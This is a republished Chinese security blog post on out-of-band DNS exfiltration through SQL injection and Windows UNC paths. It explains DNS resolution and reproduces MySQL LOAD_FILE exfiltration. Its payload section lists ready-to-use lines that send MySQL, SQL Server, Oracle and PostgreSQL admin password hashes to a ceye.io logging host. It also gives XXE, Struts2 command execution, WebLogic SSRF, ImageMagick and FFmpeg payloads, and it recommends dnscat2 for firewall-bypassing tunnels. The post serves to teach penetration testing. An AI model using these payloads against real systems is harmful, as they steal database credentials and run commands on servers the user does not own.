专栏首页信安之路利用DNS协议回显数据

利用DNS协议回显数据

这个问题已经是去年提出的了,之前也看到过,在 CTF 题目环境中利用过却对原理不慎了解,在公司大佬们的帮助下成功了理解了一波原理。

这里对原理进行一波总结,并利用了 CEYE 平台

http://ceye.io/

成功的进行了原理复现利用。

原理分析

这个虽然是利用到了比如说 mysql 的 LOAD_FILE 函数,其实本质还是对 windows 的资源管理器的一个利用,利用协议 // 去进行一个子域名的 DNS 解析,将你需要的(你取得的一些有用信息当做子域名信息给传递出来)

先了解下 DNS 解析的基本原理吧

一张图解释 DNS 查询过程

下面来详细解释 DNS 域名解析的过程:

1、网络客户端就是我们平常使用的电脑,打开浏览器,输入一个域名。比如输入 www.163.com,这时,你使用的电脑会发出一个 DNS 请求到本地 DNS 服务器。本地 DNS 服务器一般都是你的网络接入服务器商提供,比如中国电信,中国移动。

2、查询 www.163.com 的 DNS 请求到达本地 DNS 服务器之后,本地 DNS 服务器会首先查询它的缓存记录,如果缓存中有此条记录,就可以直接返回结果。如果没有,本地 DNS 服务器还要向 DNS 根服务器进行查询。

3、根 DNS 服务器没有记录具体的域名和 IP 地址的对应关系,而是告诉本地 DNS 服务器,你可以到域服务器上去继续查询,并给出域服务器的地址。

4、本地 DNS 服务器继续向域服务器发出请求,在这个例子中,请求的对象是 .com 域服务器。.com 域服务器收到请求之后,也不会直接返回域名和 IP 地址的对应关系,而是告诉本地 DNS 服务器,你的域名的解析服务器的地址。

5、最后,本地 DNS 服务器向域名的解析服务器发出请求,这时就能收到一个域名和 IP 地址对应关系,本地 DNS 服务器不仅要把 IP 地址返回给用户电脑,还要把这个对应关系保存在缓存中,以备下次别的用户查询时,可以直接返回结果,加快网络访问。

总结

当你查询 abc.hack.com 这个子域名时,dns 服务器 hack.com 会收到你的解析请求,这里就是 out_of_band 利用的原理了

windows 资源管理器角度

为什么我说这是对 windows 资源管理器的利用,这里进行演示

当你在资源管理器地址栏输入:

\\test.u0ocor.ceye.io\abc

u0ocor.ceye.io 是我申请账号的 dns 解析服务器地址

你的测试账号服务器就会收到 DNS 解析请求,并记录(资源管理器这里不好截图)

数据库漏洞复现

当你存在注入点的时候,如果这个查询并不会对你进行一个回显,这个 out_of_band 就非常有用了,这里并未进行后端查询代码的设计了,直接从数据库开始

测试环境:

A机: win7 mysql 环境,对 secure 进行了修改 B机: win10 mysql 环境,未对 secure 进行了修改

参数 secure_file_priv

这个参数是全局变量,可以通过下列语句进行查询:

A 机:

B 机:

解释:

这个变量用于限制数据导入和导出操作造成的影响,例如由 LOAD DATASELECT…INTO OUTFILE 语句和 LOAD_FILE() 函数执行的操作。

1、如果变量设置为目录的名称,则服务器会将导入和导出操作限制在跟这个目录中一起使用。这个目录必须存在,服务器不会自己创建它。

2、如果变量为空,则不会产生影响,引起不安全的配置。

3、如果变量设置为 NULL,那么服务器就会禁用导入和导出操作。这个值从 MySQL 5.5.53 版本开始允许。

MySQL 5.5.53 之前,此变量默认为空,因此我们就可以使用这些函数。但是在 5.5.53 之后的版本中,NULL 值会禁用这些功能。(根据两台测试机器不同版本的 mysql 来判断,会默认为 mysql 的一个 /upload 根目录下)

补充一下两个机器的 mysql 版本:

A 机:

B 机:

复现

在满足上述全局变量的条件下,注意四个点:

1、最大查询长度问题,文件的大小限制

2、文件编码是否和数据库相同

3、绝对路径需要使用 //

4、子域名最大长度问题,DNS 规定,域名中的标号都由英文字母和数字组成,每一个标号不超过 63 个字符,也不区分大小写字母。标号中除连字符(-)外不能使用其他的标点符号。

下面进行演示:

A 机:

效果如图:

B 机:

效果如图:

至于能用来读取什么文件,或者是查询什么数据就看具体情况和具体需求了,读文件需要考虑文件权限,编码等等问题

漏洞限制

1、限制在 windows 系统,因为原理是利用了 load_file 在 windows 中读取文件利用到了资源管理器(可能不准确,未具体研究,但是能和资源管理器进行相同一个 DNS 查询操作,这个官方文档中并未提及)

2、在 mysql5.5.53 之前,参数 secure_file_priv 一直是为空可以任意进行读取,在我的测试中,之后的 mysql 版本已经对此有所限制(目录限制,没法随意读取文件)

3、漏洞的利用点不一定停留在数据库(更不限于 mysql),如果你能唤起 windows 的资源管理器,就可以成功利用这个 dns 通道查询传输信息

知识扩展

一些可用 payload

windows:

ping %USERNAME%.u0ocor.ceye.io

SQL Server:

DECLARE @host varchar(1024); SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins WHERE name='sa') +'.ip.port.u0ocor.ceye.io'; EXEC('master..xp_dirtree"\'+@host+'\foobar$"');

Oracle:

SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.u0ocor.ceye.io'); SELECT UTL_HTTP.REQUEST('http://ip.port.u0ocor.ceye.io/oracle') FROM DUAL; SELECT HTTPURITYPE('http://ip.port.u0ocor.ceye.io/oracle').GETCLOB() FROM DUAL; SELECT DBMS_LDAP.INIT(('oracle.ip.port.u0ocor.ceye.io',80) FROM DUAL; SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||||'.ip.port.u0ocor.ceye.io',80) FROM DUAL;

MySQL:

SELECT LOAD_FILE(CONCAT('\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.u0ocor.ceye.io\abc'));

PostgreSQL:

DROP TABLE IF EXISTS table_output; CREATE TABLE table_output(content text); CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $ DECLARE exec_cmd TEXT; DECLARE query_result TEXT; BEGIN SELECT INTO query_result (SELECT passwd FROM pg_shadow WHERE usename='postgres'); exec_cmd := E'COPY table_output(content) FROM E\'\\\\'||query_result||E'.psql.ip.port.u0ocor.ceye.io\\foobar.txt\''; EXECUTE exec_cmd; END; $ LANGUAGE plpgsql SECURITY DEFINER; SELECT temp_function();

XML Entity Injection

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://ip.port.u0ocor.ceye.io/xxe_test"> %remote;]> <root/>

Struts2

xx.action?redirect:http://ip.port.u0ocor.ceye.io/%25{3*4} xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://ip.port.u0ocor.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

FFMpeg

EXTM3U EXT-X-MEDIA-SEQUENCE:0 EXTINF:10.0, concat:http://ip.port.u0ocor.ceye.io EXT-X-ENDLIST

Weblogic

xxoo.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://ip.port.u0ocor.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search

ImageMagick

push graphic-context viewbox 0 0 640 480 fill 'url(http://ip.port.u0ocor.ceye.io)' pop graphic-context

Resin

xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://ip.port.u0ocor.ceye.io/ssrf

Discuz

http://xxx.xxxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://ip.port.u0ocor.ceye.io/xx.jpg[/img]&formhash=xxoo

扩展玩法

从这个漏洞出发,拓展到任意主机上,这是一个利用 dns 进行内网穿透传输信息的技术,这可以应用于某些渗透场景~

用 kali 演示了一个小脚本

这里推荐一个工具: dnscat2

下载地址:

https://github.com/iagox86/dnscat2

dnscat2 提供客户端和服务端。

使用的条件:

1 一台 vps

2 一个域名控制权限

3 一台内网权限

具体的使用可以结合着两篇博客进行学习,这里不做演示了,扩展阅读:

利用 DNS 隧道传递数据和命令来绕过防火墙

http://blog.csdn.net/tan6600/article/details/52142254

利用 PowerShell 和 Dnscat2 绕过防火墙

https://www.anquanke.com/post/id/85764

技术有限,如文中有理解错误的地方希望大家指出,我及时进行更正

本文分享自微信公众号 - 信安之路(xazlsec),作者:GETF

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-01-19

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 内网中间人的玩法

    在内网渗透测试中,我们可以欺骗攻击网络配置和服务。这种攻击方式主要针对ARP(地址解析协议)、DHCP(动态主机配置协议)和DNS服务器配置不当造成的安全隐患。...

    信安之路
  • DataCon 的 DNS 恶意流量检查一题回顾

    首先,第二题直接放弃了,算法对我来说很掉头发的,果断放弃了。毕竟现在不是答题时间了,下面的分析如有错误还请各位留言扶正,谢谢!

    信安之路
  • 【读者投稿】格式化字符串漏洞读书笔记

    里面讲了简单的printf()实现。这里讲的除了x86-64里的pwn之外的都是32位。

    信安之路
  • 分布式session共享方案有哪些

    NFS是Net FileSystem的简称,最早由Sun公司为解决Unix网络主机间的目录共享而研发。

    java乐园
  • 模糊测试之攻击回显

    描述:一个渗透安全工程师常常会在,某些安全测试项目中遇到,代码或者命令可以被执行,但是无任何的回显特征来判断攻击成功,

    WeiyiGeek
  • Error:Unable to start the daemon process. This problem might be caused by incorrect configuration of

    将以上错误总结为:Android Studio 中 gradle 构建 堆栈空间不足,所以将其设置小一点即可,一般为1024或者512都可以,自己设置测试为准

    Vance大飞
  • 一篇文章带你看懂服务器 | 必看

    服务器是计算机的一种,它是网络上一种为客户端计算机提供各种服务的高性能的计算机,它在网络操作系统的控制下,将与其相连的硬盘、磁带、打印机、Modem及昂贵的专用...

    网络技术联盟站
  • java web Session会话技术(原理图解+功能+与Cookie的区别+基本使用)

    这是我关于会话技术的第二篇文章,对 Cookie有不了解的兄弟可以点击下方的Cookie跳转 Cookie链接(点击跳转)

    一只胡说八道的猴子
  • 跨网访问Redis Cluster的处理过程

    Redis Cluster是Redis的一个分布式实现,分区存储和备份数据,扩大了Redis的容量和并发。

    用户1604609
  • 腾讯云服务器好吗?

    您还在网络上搜索腾讯云服务器好吗?想知道腾讯云服务器好吗,还是自己来体验吧!体验后您就知道腾讯云服务器好吗还是不好,您说对吗? 大宇云携手腾讯云,希望为...

    用户4416003

扫码关注云+社区

领取腾讯云代金券